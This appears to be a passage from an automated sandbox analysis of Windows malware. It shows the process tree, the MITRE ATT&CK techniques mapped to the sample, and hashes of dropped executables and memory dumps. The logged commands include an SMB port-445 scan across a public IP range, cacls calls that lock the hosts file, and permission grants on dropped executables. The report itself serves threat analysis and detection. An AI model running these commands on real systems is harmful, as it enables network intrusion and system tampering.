  cmd.exe /c C:\Windows\cysgelbgy\gtirgeyld\scan.bat
  2⤵
  PID:5084
- - C:\Windows\cysgelbgy\gtirgeyld\nddeaesly.exe
    nddeaesly.exe TCP 191.101.0.1 191.101.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:3376
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:5572
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1852
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:1932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4072
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:3356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3736
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:6104

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bwbylena\vbtnwbn.exe /p everyone:F
1⤵
PID:1036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4588
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\bwbylena\vbtnwbn.exe /p everyone:F
  2⤵
  PID:5052

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ybidsenfa\ngefld.exe /p everyone:F
1⤵
PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2068
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\ybidsenfa\ngefld.exe /p everyone:F
  2⤵
  PID:1648

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\vbtnwbn.exe
1⤵
PID:2180
- C:\Windows\ime\vbtnwbn.exe
  C:\Windows\ime\vbtnwbn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4404

C:\Windows\SysWOW64\bgvdci.exe
C:\Windows\SysWOW64\bgvdci.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3208

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bwbylena\vbtnwbn.exe /p everyone:F
1⤵
PID:532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3616
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\bwbylena\vbtnwbn.exe /p everyone:F
  2⤵
  PID:1156

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ybidsenfa\ngefld.exe /p everyone:F
1⤵
PID:2640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4968
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\ybidsenfa\ngefld.exe /p everyone:F
  2⤵
  PID:3476

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\vbtnwbn.exe
1⤵
PID:1036
- C:\Windows\ime\vbtnwbn.exe
  C:\Windows\ime\vbtnwbn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2356

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ybidsenfa\ngefld.exe /p everyone:F
1⤵
PID:5928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1424
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\ybidsenfa\ngefld.exe /p everyone:F
  2⤵
  PID:5064

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bwbylena\vbtnwbn.exe /p everyone:F
1⤵
PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:6028
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\bwbylena\vbtnwbn.exe /p everyone:F
  2⤵
  PID:5708

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\vbtnwbn.exe
1⤵
PID:4456
- C:\Windows\ime\vbtnwbn.exe
  C:\Windows\ime\vbtnwbn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\cysgelbgy\1464.dmp

Filesize
44.2MB

MD5
2c52868ca3938981296a31ff213fdb5b

SHA1
a9b24ccc1ade742e90b81d91caddc27a3cb5eaf7

SHA256
8781cdec1c38a56ba992bfe77f28c1ed7b090144ed685351ed84d5a3c5b1a5b0

SHA512
2c8725fa3732e0363ea3d29755bd83087f2ac20b6041fac0bfb5e86ebc4bdddc95134a8d9d61d1e08371ebd0c20e35800eb62950a39b34f68953e77eaf53c870

Download Submit
C:\Windows\TEMP\cysgelbgy\2060.dmp

Filesize
4.2MB

MD5
66ed839bf5e0741699f7e5791c7388ce

SHA1
a64fdf2037e0ecb8f1bbcefaede6b1707db633aa

SHA256
c6dfc29eb2d45b9e95b3f525d998205cede6df09bf4f85749d282e5f7f38a4dd

SHA512
fbbce1290f875719eeaa07558617fb0c23f2bc3bafff5aa2ed42f11d6f13bb78250d191f96ff860a55af011c9085de63de769840a79b3842392c481a57d94625

Download Submit
C:\Windows\TEMP\cysgelbgy\2276.dmp

Filesize
8.7MB

MD5
994ceee1eecefccd7ef6b80bfca0985e

SHA1
107dffc73ee85487be31e4fe0ef00a19cb1c679f

SHA256
ded5db6eb033196a6dcead6733e7caf5cef651ef4dfe65cd126ae1a63c5b7448

SHA512
6b249f621ab187e918bd44bbaf865727a8e9b0a8909a7ba4e1958be622990a52a342f17f334063aa700f12a02abe1f78da86fba639ebb6f4c8e2bdd00c7814cd

Download Submit
C:\Windows\TEMP\cysgelbgy\2672.dmp

Filesize
4.1MB

MD5
6e7cdf4b46a0e572aa042d157476f0b4

SHA1
d4a4ab57fb49ab9b3c0fb97ac88dc9cad7de6403

SHA256
0f417d39f091f00a3eddd6d53fbaabe16afdf0d2d68c1867c4dc48ed02b0078d

SHA512
7c8aa6b6b453610aa273ce7fd9f19786bab69f2aacc3ae2dd55053930e9efea3f3d096799846e11a0bb523eb4700709885b1477f7f5f82c173e4cde5715649f1

Download Submit
C:\Windows\TEMP\cysgelbgy\2800.dmp

Filesize
3.0MB

MD5
dc10c3bfe5fad5b0f935c61a4de000da

SHA1
1381b4faa7621dfe18ab7be5df9dbf31a75313fa

SHA256
8dceccb5ef499ba013e702142867c3827f0b4e29f2da066e88f7f7eea1ba486e

SHA512
d4dcd87a9ff1d2d7d06e9267d716fd13d377c9dc306c1ade37ae466b4192cebe5101fd81491d2c8355d58361224efbbe91cc4d8c76a54a6ea82c13b6d606b854

Download Submit
C:\Windows\TEMP\cysgelbgy\2852.dmp

Filesize
7.4MB

MD5
489240be03794f2626a7740b5fb1383d

SHA1
95c121844d29f3913fb315b81278b8c3936e5e04

SHA256
76c56d9f65fb1b451ea1d90b901fae73ed424b42753818054698ab1f4b824065

SHA512
8cfef7e58f46cdbdec35b63d6f2dc6f01e81463e69bc5e9fba703ac6639300b5bd9d8c51e21f2e160d31ee3b58adc9b5b49ca5722ed4c4dab74f644a149aa524

Download Submit
C:\Windows\TEMP\cysgelbgy\3104.dmp

Filesize
810KB

MD5
7c73a41be2722a9d98f479d19a834bec

SHA1
7286832f7a25e3e377927b3b67e12c393dd2d357

SHA256
a8aea97a193cc13408010bcb9ac99c2563c4f68fdaf540ce4f5aa99b1aa7e4f7

SHA512
63c6e105ffb5578177ce32510f7797c7556c783db81a5583ff09d5e9988fd1d8f3c2a64a15918f30e71e43b7c8c88683f8f7a9aa49ae820e3d291367a4c7e285

Download Submit
C:\Windows\TEMP\cysgelbgy\384.dmp

Filesize
33.7MB

MD5
3d490ddb0f3a827f3c492cc284448402

SHA1
78cd506a1612d39717533a6a306e574648a943fe

SHA256
bcb084e58d4b2177d87ac7bb06a9a464c811b768c46a066a97a5bc813d58ca7c

SHA512
9254db84ceea29223cb61255409ac34617d2e1b92c9631777b5badd9d8c28e5918a2c71d43bdead74c8b97b11abf39609367ab31984829f371a584467835d3ba

Download Submit
C:\Windows\TEMP\cysgelbgy\3880.dmp

Filesize
2.4MB

MD5
04823e5416ca32372cfe6bff074c679e

SHA1
470070832a444d186c04ed1ec3ed4620e5b38073

SHA256
4c316e7e4617ddcb9003e30cee91d5178259ca7a421d53ddb95fd9245c79e411

SHA512
a0bd6fae4605e9c3ed99af466edb1d061cd0cf53133b6cbe07628541c711dac46b57cd7d19762c6cc2a2999398993cfff046380af2221b678c396f2ce813ec7c

Download Submit
C:\Windows\TEMP\cysgelbgy\3980.dmp

Filesize
20.8MB

MD5
caed44302bed0c88baacb97969040425

SHA1
e25048060dbb3cb16c46cb7a95591484b2e638d7

SHA256
4be7e3f2f2ce95a35731b549332b3674e46c5523568b1c43b8edb35b84e65e34

SHA512
48f0c734d743127e0d21bd1cde02291147c1f7d63c72f33d81d285f54e986d0e901e7049fb3774244f2c72d0a57651720b0765889758e430ac3395b1b1baea9e

Download Submit
C:\Windows\TEMP\cysgelbgy\4044.dmp

Filesize
4.2MB

MD5
ebf83620b64a8b05ecc5572e7998cf77

SHA1
bfd17140ccfad3fd728690876d9637e8ad4270c4

SHA256
dd3c7ebe19d2c14592bd3670b76d104cb93ee1fb8c96e5803c3dd6f33f6eac04

SHA512
ccebe7d3d7aa461b3c81affc9ad6c7db572e087eaae3146faa4f3f4ef3a3ad6c547838c7b9fe57ba59fd40dfbe9388520640f3b859e180c49127809566ec64cb

Download Submit
C:\Windows\TEMP\cysgelbgy\4668.dmp

Filesize
25.8MB

MD5
e23c15161cf6e43977ca1896ba0c260c

SHA1
b9457df2a7b926fec96166552e2c5c0c69713e1e

SHA256
3f1c06a0465a519107e9c3d669f9a395e2b99543a9679fccc410c823b7d0676a

SHA512
50540093d2bb22a18c55322aa697ece893bc27e1bd2043547fc1ad9b2433d537993c85779e22510619922bf84612de95b3962266c71c5bd29901b976bcff7636

Download Submit
C:\Windows\TEMP\cysgelbgy\4872.dmp

Filesize
1.2MB

MD5
fe5a7f8e01f66ed9f80d6cdaa28129c2

SHA1
794e1d4872914ec15c72a9c0a5a723b76d850ab3

SHA256
3c3318c0562b56f14d17ebf63ba8921ca10405c45f23f0896fe2a60873c89148

SHA512
088127968fe674cfe6d8ab2db58e192bac836d53347ca45c0f2bf2682d5317b841678b2146a842419f6998295e97ad931d6ecb220ac2d61e193499d482ff691d

Download Submit
C:\Windows\TEMP\cysgelbgy\768.dmp

Filesize
2.0MB

MD5
dfdb70d7b679420d5e3e384c5397716a

SHA1
a183a2135288866171bffe9d07abab97a5b07056

SHA256
71e6203180218f54559089019b489988572d77de5a061dbd2255ca0d3566307b

SHA512
c8efdff7451f6912b720502d354f550d3de323ba1ebda98836275d127deef1fc631c014a27cd712e22d37f7705582e874fe1bd73566586d9ae893f592d8a7e00

Download Submit
C:\Windows\TEMP\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\TEMP\ybidsenfa\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\ybidsenfa\ngefld.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\cysgelbgy\wtumnnmbn.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nsc8C44.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsc8C44.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\bwbylena\vbtnwbn.exe

Filesize
8.0MB

MD5
c238e2bf5d2d181fc09353a77085be41

SHA1
236c9280faee5d428c1eb809a84a169977e47f86

SHA256
c2167426c2fba4c1b78018cdaf7ff5073fb8f7e7b97959e2c2dbb5b3416beb0e

SHA512
e5152794bb71403dae28f39b4e9fc8ac72ca9ffc925780beafbf64b8c7e1bf8fdf4e78652f1b4bca84cb53ac9882cf21d519ec4c5716bc2e3f6d5e4f544a5932

Download Submit
C:\Windows\cysgelbgy\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\cysgelbgy\gtirgeyld\gwbrtisnb.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\cysgelbgy\gtirgeyld\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
memory/224-183-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/672-250-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-305-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-234-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-251-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-186-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-216-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-254-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-171-0x0000027CCD710000-0x0000027CCD720000-memory.dmp

Filesize
64KB

Download
memory/672-204-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-226-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-169-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-198-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-310-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/672-312-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp

Filesize
1.1MB

Download
memory/956-192-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/1036-206-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/1208-228-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/1220-179-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/1448-219-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/1540-196-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/1556-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1680-223-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/1820-210-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/2096-158-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/2096-143-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/2440-233-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/2984-236-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/3168-136-0x00007FF63FEB0000-0x00007FF63FF9E000-memory.dmp

Filesize
952KB

Download
memory/3168-138-0x00007FF63FEB0000-0x00007FF63FF9E000-memory.dmp

Filesize
952KB

Download
memory/3336-214-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/3376-249-0x0000000000C70000-0x0000000000C82000-memory.dmp

Filesize
72KB

Download
memory/3648-167-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/3648-150-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/3760-188-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/4056-238-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/4216-175-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/4292-201-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download
memory/4600-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/4600-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/4708-78-0x0000000000800000-0x000000000084C000-memory.dmp

Filesize
304KB

Download
memory/4816-231-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp

Filesize
364KB

Download